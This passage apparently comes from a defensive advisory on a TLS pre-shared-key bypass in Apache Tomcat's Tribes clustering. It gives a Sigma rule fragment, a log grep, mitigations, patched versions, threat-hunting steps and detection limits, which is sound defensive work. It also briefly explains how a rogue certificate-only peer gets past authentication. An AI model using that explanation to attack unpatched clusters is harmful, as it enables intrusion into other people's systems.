    src_ip:
      - '10.0.0.0/8'  # replace with the cluster's actual member subnet(s)/addresses
  condition: selection and not filter_known_members
level: high

This rule is the only detection capable of catching a successful exploit against an unpatched node, since the application layer is silent. It requires the operator to maintain an accurate member allowlist.

#Log detection

For teams without a SIEM, grep Tomcat's main log file (typically $CATALINA_BASE/logs/catalina.out):

grep "The TLS handshake completed with a peer certificate rather than the pre-shared key" \
    "$CATALINA_BASE"/logs/catalina.out

Malicious line:

[-] Handshake REJECTED: The TLS handshake completed with a peer certificate rather than the pre-shared key. The connection has been rejected.

Benign baseline - a genuine PSK handshake produces no identity-related log at all:

Dec 02, 2026 7:07:38 AM org.apache.tomcat.util.net.openssl.panama.OpenSSLLibrary init
INFO: OpenSSL successfully initialized using FFM [OpenSSL 3.5.5 27 Jan 2026]

#Mitigation & virtual patching

Immediate (cannot patch yet):

  • Downgrade the TLS protocol: Switch the cluster's pskProtocol from TLSv1.3 to TLSv1.2 in server.xml. This is the vendor's stated interim workaround. TLS 1.2 negotiates the PSK cipher suite during the ServerHello, so a cert-only rogue peer cannot negotiate a shared suite and the bypass does not reproduce.
<Channel secure="true" pskIdentity="tribes" pskKey="..." pskProtocol="TLSv1.2">
  <Receiver securePort="4443" />
</Channel>
  • Network isolation: Restrict network reachability of the Tribes securePort to only the cluster's own member addresses/subnet using firewall ACLs. Tribes cluster traffic should never be reachable from outside the cluster's private network.

  • Audit membership: Lock down StaticMembershipInterceptor membership lists and disable multicast cluster discovery if not required. Prevent an attacker from getting itself announced as a member.

Fix: Upgrade to patched versions:

  • Apache Tomcat 11.0.30
  • Apache Tomcat 10.1.63
  • Apache Tomcat 9.0.125

#Threat hunting

Retroactive queries to run across every Tribes cluster node since 2026-11-19:

  • Search all nodes' catalina.out logs for the fixed string The TLS handshake completed with a peer certificate rather than the pre-shared key. A hit means someone attempted this bypass against that node (regardless of success on other, unpatched nodes in the cluster).

  • Review server.xml and StaticMembershipInterceptor membership history for any entry added outside normal configuration management.

  • Review historical NetFlow/firewall logs for the Tribes securePort for connections from addresses outside the cluster's member subnet. Any such connection on an unpatched version during the exposure window is a confirmed compromise.

#Detection limitations

  • No application-log signal for successful exploitation of unpatched nodes. The vulnerable TlsChannel code path has no post-handshake check and produces no exception or log on the success path. This was confirmed by reviewing the actual vulnerable source code. The Sigma rule keying on the exception string therefore has zero coverage of actual successful exploitation on unpatched fleets - it only surfaces rejected attempts on already-patched nodes.

  • Network-level detection (Sigma rule 2) depends on operator-maintained membership allowlists. Without accurate cluster member addresses, it degrades to "alert on any connection to this port," which creates alert fatigue and false positives.

  • No distinction between a malicious rogue peer and a legitimate new cluster member. Operational hygiene (keeping membership allowlists synchronized with real membership changes) is required to avoid false positives.

  • Coverage is outbound direction only (victim as TLS client connecting to attacker). The inbound direction is not exploitable because the receiver's server engine has only a PSK and no certificate to fall back to.

#References